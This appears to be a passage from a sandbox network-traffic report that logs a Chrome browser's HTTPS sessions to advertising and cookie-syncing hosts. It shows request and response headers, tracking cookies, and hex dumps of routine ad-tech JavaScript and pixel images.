2024-03-28 08:51:29 UTC	15901	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 52 3d 72 3d 72 7c 7c 7b 7d 29 5b 52 2e 45 72 72 6f 72 3d 30 5d 3d 22 45 72 72 6f 72 22 2c 52 5b 52 2e 57 61 72 6e 69 6e 67 3d 31 5d 3d 22 57 61 72 6e 69 6e 67 22 2c 52 5b 52 2e 44 65 62 75 67 3d 32 5d 3d 22 44 65 62 75 67 22 3b 76 61 72 20 72 2c 4c 3d 5b 22 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 38 66 31 63 3b 22 2c 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 22 2c 22 70 61 64 64 69 6e 67 3a 20 31 70 78 20 34 70 78 3b 22 2c 22 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 22 5d 2e 6a 6f 69 6e 28 22 20 22 29 2c 64 3d 28 6e 2e 4c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6f Data Ascii: !function(){"use strict";(R=r=r\|\|{})[R.Error=0]="Error",R[R.Warning=1]="Warning",R[R.Debug=2]="Debug";var r,L=["color: #fff;","background: #ff8f1c;","display: inline-block;","padding: 1px 4px;","border-radius: 3px;"].join(" "),d=(n.Log=function(e,t){var o
2024-03-28 08:51:29 UTC	16319	IN	Data Raw: 74 63 68 28 65 29 7b 7d 7d 65 6c 73 65 20 74 68 69 73 2e 73 65 74 43 6f 6f 6b 69 65 53 74 72 69 6e 67 28 65 2c 74 2c 63 2c 76 6f 69 64 20 30 2c 69 29 3b 72 65 74 75 72 6e 20 73 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 74 68 69 73 2e 73 65 74 43 6f 6f 6b 69 65 28 65 2c 22 22 2c 30 2c 74 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 6f 3f 21 31 3a 6f 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 68 69 73 2e 63 6f 6f 6b 69 65 73 45 6e 61 62 6c 65 64 29 66 6f 72 28 76 61 72 20 6f 3d 30 2c 6e 3d 28 74 7c 7c 64 6f 63 75 6d 65 6e 74 29 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 3b 6f 3c 6e 2e Data Ascii: tch(e){}}else this.setCookieString(e,t,c,void 0,i);return s},h.prototype.deleteCookie=function(e,t,o){this.setCookie(e,"",0,t,o=void 0===o?!1:o)},h.prototype.getCookie=function(e,t){if(this.cookiesEnabled)for(var o=0,n=(t\|\|document).cookie.split(";");o<n.
2024-03-28 08:51:29 UTC	10239	IN	Data Raw: 74 65 52 75 6e 6e 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6e 65 77 20 4f 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 28 29 2c 65 7d 2c 4f 2e 43 72 65 61 74 65 57 69 74 68 53 74 61 72 74 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 65 77 20 4f 28 21 31 29 3b 72 65 74 75 72 6e 20 74 2e 73 74 61 72 74 54 69 6d 65 3d 65 2c 74 7d 2c 4f 2e 54 69 6d 65 53 69 6e 63 65 50 61 67 65 4c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 Data Ascii: teRunning=function(){var e=new O;return e.start(),e},O.CreateWithStartTime=function(e){var t=new O(!1);return t.startTime=e,t},O.TimeSincePageLoad=function(){if(window.performance){if(window.performance.now)return window.performance.now();if(window.perfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	50164	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	661	OUT	GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	921	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Set-Cookie: suid=847CD017CFA04EE58AAA8C55A751BC64; Path=/; domain=simpli.fi; Expires=Sat, 29-Mar-25 08:51:29 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=847CD017CFA04EE58AAA8C55A751BC64; Path=/; domain=simpli.fi; Expires=Sat, 29-Mar-25 08:51:29 GMT; Secure; Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 Expires: Wed, 27 Mar 2024 08:51:29 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-03-28 08:51:29 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	50174	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	815	OUT	GET /cm?eid=a109dc60-dc7c-45e5-ab53-e2448a53420f&pv=TDD&sid=1011&rt=img&rnd=1714207885 HTTP/1.1 Host: tracker.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; tr=loCAwICAwA==; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE
2024-03-28 08:51:29 UTC	1270	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 1 Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cP=AT8DHQiDcMYFvwAAAAABs0lT; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjVEREAICB2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjVEREAICB2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjVEREAICB2gA0MzFkMDg4MzcwYzYwNWJmX2ExMDlkYzYwLWRjN2MtNDVlNS1hYjUzLWUyNDQ4YTUzNDIwZs5mBS+R; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT; Set-Cookie: tr=loCAwIGjVEREzmYGgRGAgdoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:29 GMT;
2024-03-28 08:51:29 UTC	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	50177	192.0.78.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	625	OUT	GET /rest/v1/sites/123231640/posts/95325/likes?http_envelope=1&chronological=true HTTP/1.1 Host: public-api.wordpress.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://public-api.wordpress.com/wp-admin/rest-proxy/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Host-Header: WordPress.com X-hacker: Oh, Awesome: Opossum Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-ac: 2.dca _dca BYPASS Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:29 UTC	184	IN	Data Raw: 61 64 0d 0a 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 68 65 61 64 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 2f 6a 73 6f 6e 22 7d 5d 2c 22 62 6f 64 79 22 3a 7b 22 66 6f 75 6e 64 22 3a 30 2c 22 69 5f 6c 69 6b 65 22 3a 66 61 6c 73 65 2c 22 63 61 6e 5f 6c 69 6b 65 22 3a 74 72 75 65 2c 22 73 69 74 65 5f 49 44 22 3a 31 32 33 32 33 31 36 34 30 2c 22 70 6f 73 74 5f 49 44 22 3a 39 35 33 32 35 2c 22 6c 69 6b 65 73 22 3a 5b 5d 7d 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: ad{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]}}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	50178	152.199.6.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	603	OUT	GET /iframe/external_libs.v2.js HTTP/1.1 Host: cstatic.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cstatic.weborama.fr/iframe/sync.html?key=all&src=products.js&ref=bsnews.it Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	437	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Age: 367244 Cache-Control: max-age=604800 Content-Type: text/javascript Date: Thu, 28 Mar 2024 08:51:29 GMT Etag: "262254546+gzip+ident" Expires: Thu, 04 Apr 2024 08:51:29 GMT Last-Modified: Thu, 14 Mar 2024 09:31:07 GMT P3P: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Server: ECAcc (dcd/7D3D) Vary: Accept-Encoding X-Cache: HIT Content-Length: 8136 Connection: close
2024-03-28 08:51:29 UTC	8136	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 63 2e 5f 5f 74 63 66 61 70 69 29 7b 66 6f 72 28 76 61 72 20 61 2c 65 3d 63 2c 6e 3d 7b 7d 3b 65 3b 29 7b 74 72 79 7b 69 66 28 65 2e 66 72 61 6d 65 73 2e 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 29 7b 61 3d 65 3b 62 72 65 61 6b 7d 7d 63 61 74 63 68 28 65 29 7b 7d 69 66 28 65 3d 3d 3d 63 2e 74 6f 70 29 62 72 65 61 6b 3b 65 3d 65 2e 70 61 72 65 6e 74 7d 61 26 26 28 63 2e 5f 5f 74 63 66 61 70 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 22 22 2c 65 3d 7b 5f 5f 74 63 66 61 70 69 43 61 6c 6c 3a 7b 63 6f 6d 6d 61 6e 64 3a 65 2c 70 61 72 61 6d 65 74 65 72 3a 69 2c 76 65 72 73 Data Ascii: !function(c,d){if("function"!=typeof c.__tcfapi){for(var a,e=c,n={};e;){try{if(e.frames.__tcfapiLocator){a=e;break}}catch(e){}if(e===c.top)break;e=e.parent}a&&(c.__tcfapi=function(e,t,o,i){var r=Math.random()+"",e={__tcfapiCall:{command:e,parameter:i,vers

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	50182	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	791	OUT	GET /w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK
2024-03-28 08:51:29 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; Version=1; Expires=Fri, 12-Apr-2024 08:51:29 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	50179	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	898	OUT	GET /track/cmf/generic?ttd_pid=2xlgrzl&ttd_tpi=1&ttd_puid=env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASACKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
2024-03-28 08:51:29 UTC	639	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Length: 447 Connection: close server: Kestrel location: https://mwzeom.zeotap.com/mw?cid=a109dc60-dc7c-45e5-ab53-e2448a53420f&zpartnerid=6&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:29 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..; expires=Fri, 28 Mar 2025 08:51:29 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:29 UTC	447	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 77 7a 65 6f 6d 2e 7a 65 6f 74 61 70 2e 63 6f 6d 2f 6d 77 3f 63 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 7a 70 61 72 74 6e 65 72 69 64 3d 36 26 65 6e 76 3d 6d 57 65 62 26 65 76 65 6e 74 54 79 70 65 3d 70 61 67 65 76 69 65 77 26 69 64 5f 6d 69 64 5f 34 3d 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 26 72 65 71 49 64 3d 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 26 7a 64 69 64 3d 36 34 38 22 3e 68 74 74 70 73 3a 2f 2f 6d 77 7a 65 6f 6d 2e 7a 65 6f 74 61 Data Ascii: Redirecting to: <a href="https://mwzeom.zeotap.com/mw?cid=a109dc60-dc7c-45e5-ab53-e2448a53420f&zpartnerid=6&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648">https://mwzeom.zeota

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	50181	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	900	OUT	GET /misc/img?mop_seq=0:1&mt_cb=363302&mop_top= HTTP/1.1 Host: pixel.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
2024-03-28 08:51:29 UTC	482	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x55 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: mt_mop=; domain=.mathtag.com; path=/; expires=Sat, 27-Apr-2024 08:51:29 GMT; SameSite=None; Secure Expires: Thu, 28 Mar 2024 08:51:28 GMT
2024-03-28 08:51:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	50202	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	1000	OUT	GET /getuid?https://mwzeom.zeotap.com/mw?adnxs_uid=$UID&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:29 UTC	1564	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://mwzeom.zeotap.com/mw?adnxs_uid=3287041831475129344&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 AN-X-Request-Uuid: 4c15e519-15ae-4aaa-90d7-eee3e849268f Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:29 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:29 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:29 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	50180	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	888	OUT	GET /comp/img?mt_id=99&ns=xx&bcdv=0 HTTP/1.1 Host: pixel.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
